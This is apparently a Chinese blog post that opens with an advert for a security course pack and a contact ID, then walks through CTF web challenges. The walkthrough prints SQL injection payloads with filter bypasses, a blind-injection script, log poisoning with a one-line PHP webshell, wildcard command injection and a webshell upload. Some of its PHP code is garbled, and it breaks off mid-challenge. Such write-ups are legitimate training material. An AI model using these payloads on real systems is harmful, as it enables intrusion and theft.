本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
![](https://img-blog.csdnimg.cn/direct/c6f255d58abd4eaebb73d826432706de.png)
读取字段
admin’ union select 1,(select flag from flag),3 #
![](https://img-blog.csdnimg.cn/direct/abfa5545e6e14a0c9ff1ac294ac754c2.png)
得到flag
>
> ## WEB.3
>
>
>
![](https://img-blog.csdnimg.cn/direct/920b5fe38ffd4f8abc791cee51b6137c.png) 发现 include 函数 想到 文件包含 GET方式 传入一个url尝试 文件包含 肯定是需要 伪协议了
使用 php://input:可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。
有思路了抓包
![](https://img-blog.csdnimg.cn/direct/8479c484036c47d0ade891b5f35059d5.png)
得到了一个文件在 看这个文件 得到flag
![](https://img-blog.csdnimg.cn/direct/696913c9022949b4984cbdae69725155.png)
>
> ## WEB.4
>
>
>
![](https://img-blog.csdnimg.cn/direct/7a7c4a5f516a4a24a89df1af6f929534.png)
这里虽然有include函数 但是伪协议 用不了 需要我们通过日志注入进行任意命令执行得到getshell
nginx服务器 nginx服务器默认日志位置在
/var/log/nginx/access.log
我们看一下
![](https://img-blog.csdnimg.cn/direct/38fe87d493b342028a022bfef26fbfb5.png) 发现可以 我们抓包在User-Agent头中插入一句话木马
![](https://img-blog.csdnimg.cn/direct/286f473b6b9c47c6b470ea7d100ff2a4.png)
发现多了一条记录 说明上传成功了
中国蚁剑连接
![](https://img-blog.csdnimg.cn/direct/48d59f919aed4eefaf65578f027d714e.png)
注意连接 位置 我们是上传一句话木马到日志文件里面去了
![](https://img-blog.csdnimg.cn/direct/a672cdf34d644b1dade90f7675a09baf.png)
>
> ## WEB.5
>
>
>
![](https://img-blog.csdnimg.cn/direct/93c8ec4f75c94065929340e589e84d4c.png) 代码审计
`ctype_alpha():检查是否为字母 is_numeric():检查是否为数字`
使用特殊md5值绕过即可
![](https://img-blog.csdnimg.cn/direct/e4ef8e12aae34f439910dd1843779a2a.png)
>
> ## WEB.6
>
>
>
看到一个登录框 我们先使用 万能密码登录 ![](https://img-blog.csdnimg.cn/direct/476ecb37e46f42929b38ca7507888ef7.png)
登录失败 肯定是什么东西被过滤了
![](https://img-blog.csdnimg.cn/direct/b637cbd2df104e1f9b6d63f11f760108.png)空格被过滤了
![](https://img-blog.csdnimg.cn/direct/934cb4b97ccb454baf679783780e819d.png)![](https://img-blog.csdnimg.cn/direct/0a8f99aa83ed489fa07543e1143681b3.png)
判断字段数 字段数为3
admin’//or//1=1//order//by//3//#
![](https://img-blog.csdnimg.cn/direct/b4d7357dff1d458882fbf3462715b859.png)
判断回显位 2有回显
admin’//or//1=1//union//select//1,2,3//#
![](https://img-blog.csdnimg.cn/direct/8b2751ec2240459cab0fb0fb1ba705b5.png)
爆破数据库名 得到当前数据库名 web2
admin’//or//1=1//union//select//1,database(),3//#
爆破表名 得到两个表 flag,user
admin’//or//1=1//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=‘web2’#
爆破 flag表中的字段名 得到flag字段
admin’//or//1=1//union//select//1,group_concat(column_name),3//from//information_schema.columns//where/**/table_name=‘flag’#
查看flag字段的内容 得到flag
admin’//or//1=1//union//select//1,flag,3//from/**/flag#
![](https://img-blog.csdnimg.cn/direct/fc55d0cc78844e7b881bc9b797ce5088.png)
>
> ## WEB.7
>
>
>
我们点击进去 发现 id变了 我们爆破id 1-1000 发现 只有1,2,3 有类容 我们想着在sqlmap跑一下 没有跑出来 我们手注意下 发现 不行 但是又报错信息 肯定是什么东西被过滤了
![](https://img-blog.csdnimg.cn/direct/e0f1f973ca644e90bf6fd0f36467dfc2.png)
试一下 空格被过滤了 成功绕过
![](https://img-blog.csdnimg.cn/direct/942c07b53ba84f2182932314e56af9a0.png)
我们判断一下回显位
?id=1’//or//1=1//union//select//1,2,3//#
![](https://img-blog.csdnimg.cn/direct/3927e80e72d7473b89e793ea1b5e0b65.png)
日常操作
爆破数据库名: 得到数据库名 web7
?id=1’//or//1=1//union//select//1,database(),3//#
爆破表名: 得到3个表flag,page,user
?id=1%27//or//1=1//union//select//1,(select//group_concat(table_name)from//information_schema.tables//where//table_schema=“web7”),3//#
看flag表里面有哪些字段: 有 flag这个字段
?id=1%27//or//1=1//union//select//1,(select//group_concat(column_name)from//information_schema.columns//where//table_schema=“web7”//and//table_name=“flag”),3//#
查看flag表里面flag字段里面的数据: 得到flag
?id=1%27//or//1=1//union//select//1,(select//flag//from//flag),3/**/#
![](https://img-blog.csdnimg.cn/direct/bd32d1725b634991bfb73fb434af8f0b.png)
>
> ## WEB.8
>
>
>
![](https://img-blog.csdnimg.cn/direct/fa050b51ca7c41ecb455b0582d291a6d.png)
发现 查询语句 都不行 并且题目告诉我们需要写一个简单的注入工具 写一个sql盲注脚本
import requests
flag=“”
for x in range(1,50):
for i in range(1,300):
url=f"http://ace7b8b3-0ff2-4843-ba47-67e97ff53f25.challenge.ctf.show/index.php?id=-1//||//ascii(substr((select//flag//from//flag)//from//{x}//for/**/1))={i}#"
s=requests.get(url).text
if len(s)>1000:
flag+=chr(i)
print(chr(i))
break
print(flag)
需要花点时间 跑脚本 flag 一个一个字符出来了
![](https://img-blog.csdnimg.cn/direct/8436c6c123ae4cef8b8b768e75c3612b.png)
>
> ## WEB.9
>
>
>
看到 这个一个登录款 盲猜是一个 sql注入 试了一下绕过 没绕过去 看看有没有其他界面
![](https://img-blog.csdnimg.cn/direct/760eacb561944163832b651cff36f288.png)
访问 一下 index.phps 源码在下面
<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "登陆成功
"; echo $flag; } } ?>
审计代码 post传进去一个password参数
如果 password的长度大于10 结束进程 并且 输出 password error
这里有个sql查询语句 我们需要利用它
这里面有个md5($password,true) 函数 计算$password 里面的md5值 true表示已二进制计算md值
还有个 $result=mysqli\_query($con,$sql):
mysqli\_query:用于执行MySQL数据库查询
$con:表示与MySQL数据库的连接对象
$sql:表示要执行的SQL查询语句
思路理清楚了 这里需要使用到一个特殊字符 `ffifdyop可以记一下这个字符`
`它的md5值为:276f722736c95d99e921722cf9ed621c`
`转为字符为:'or'6É]é!r,ùíb 6后面乱码`
存在 or 即代码的两边有一边为真既可以绕过, or后面有6,非零值即为真。既可以成功绕过。
![](https://img-blog.csdnimg.cn/direct/058f6ccdc17f4dbdafd3cb11dacdd5b0.png)
>
> ## WEB.10
>
>
>
我们在源码里面 发现了一个css文件 然后发现了一个 index.phps 下载下来 源码如下
![](https://img-blog.csdnimg.cn/direct/a6fed6e76f3d46e0a264f61fe3418800.png)
<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功
"; echo $flag; } } } ?>
replaceSpecialChar函数主要功能是 用正则表达式替换掉字符串中的特殊字符
return preg\_replace($regex,"",$strParam)在$strParam匹配$regex里面的字符 匹配成功 替换为空
if (!$con)
{
die('Could not connect: ’ . mysqli_error());
}
这段代码 检查MySQL数据库连接成功没 如果;连接失败 则终止程序 输出错误信息
if(strlen(
u
s
e
r
n
a
m
e
)
!
=
s
t
r
l
e
n
(
r
e
p
l
a
c
e
S
p
e
c
i
a
l
C
h
a
r
(
username)!=strlen(replaceSpecialChar(
username)!=strlen(replaceSpecialChar(username))){
die(“sql inject error”);
}
if(strlen(
p
a
s
s
w
o
r
d
)
!
=
s
t
r
l
e
n
(
r
e
p
l
a
c
e
S
p
e
c
i
a
l
C
h
a
r
(
password)!=strlen(replaceSpecialChar(
password)!=strlen(replaceSpecialChar(password))){
die(“sql inject error”);
}
这段代码 是检查 输入时 输入字符串的长度 是否和 匹配完之后长度相同 所以双写绕过是不行的
这里介绍两个函数
group by :将查询结果按照指定的列进行分组
我们查询数据 不加 group by
![](https://img-blog.csdnimg.cn/direct/eca92a49e16d4857883f6d0f2132e84c.png)
加了 group by count(\*):查询出现次数
![](https://img-blog.csdnimg.cn/direct/66a23964d3ff4de79fccdc67a388c13f.png) with rollup:用于对查询结果进行汇总(可以接在 group by 后面)
![](https://img-blog.csdnimg.cn/direct/52005caaf335453198e6768ca23a222a.png)
结果 password那里多了一行 是 NULL 空
那么就可以绕过了,因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆
pyload为: 密码为空
username=admin’//or//1=1//group//by//password//with/**/rollup#&password=
![](https://img-blog.csdnimg.cn/direct/a47f07994c234535bfc5b05b2e7d0ca8.png)
>
> ## WEB.11
>
>
>
关键代码
if(
p
a
s
s
w
o
r
d
=
=
password==
password==_SESSION[‘password’]){
echo $flag;
输入的密码 要和 存在本地的session密码相等 从输出flag 我们在cookie 那里发现了密码 每次传包 都会 更新 我们使用 空密码绕过 在 PHP 中,null 等于 null
![](https://img-blog.csdnimg.cn/direct/b263ae623b774aa2badf67536e8d5213.png)
>
> ## WEB.12
>
>
>
我们查看源码 发现?cmd
![](https://img-blog.csdnimg.cn/direct/7074d56a8b8247b2b8e0839ad06b1fdc.png)
想到 传参 cmd 看看php版本信息
![](https://img-blog.csdnimg.cn/direct/53ddd3870f3549d196a6243e0f1bb0ce.png)
成功获取到 接下来遍历目录
使用glob()函数:可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录
?cmd=print_r(glob(‘*’));
![](https://img-blog.csdnimg.cn/direct/c94d06d779df484ca50aff0b66a7d2ce.png)
感觉 flag在 那个奇怪的文件里面
使用hightlight\_file()函数:可以使文件内容高亮显示, 常用于读取文件内容
?cmd=highlight_file(‘903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php’);
![](https://img-blog.csdnimg.cn/direct/28bc72bc39854311ab129863e481785c.png)
>
> ## 红包题第二弹
>
>
>
我们查看源码 发现可以get传参 cmd 我们随变传一个试试
![](https://img-blog.csdnimg.cn/direct/315cce6580964ed69317ec39585c4823.png)
发现 它过滤了 很多东西 当是 p和?没有 被过滤 我们可以使用 ?当作 通配符使用
pyload为
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
实际执行的命令是
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
用cp命令 把 flag.txt 复制到p.ppp
访问 p.ppp 下载 得到flag
>
> ## WEB.13
>
>
>
文件上传 我们先传一个shell进去 提示文件太大了
![](https://img-blog.csdnimg.cn/direct/b645c23c8cd14b2d8bbdd21d81cd5838.png)
传一个 图片码 上去也是一样
我们考虑 把一句话木马改小一点
<?php eval($POST['L']; ``` 上传成功 提示后缀名错误 我们改为 phtml ,php3 都不行 ![](https://img-blog.csdnimg.cn/direct/deed950008e444038737d4daf6e2fe2e.png) 只能改其他文件格式 使用 .htaccess或者.user.ini 去解析为php文件去执行 先试试 .htaccess: ```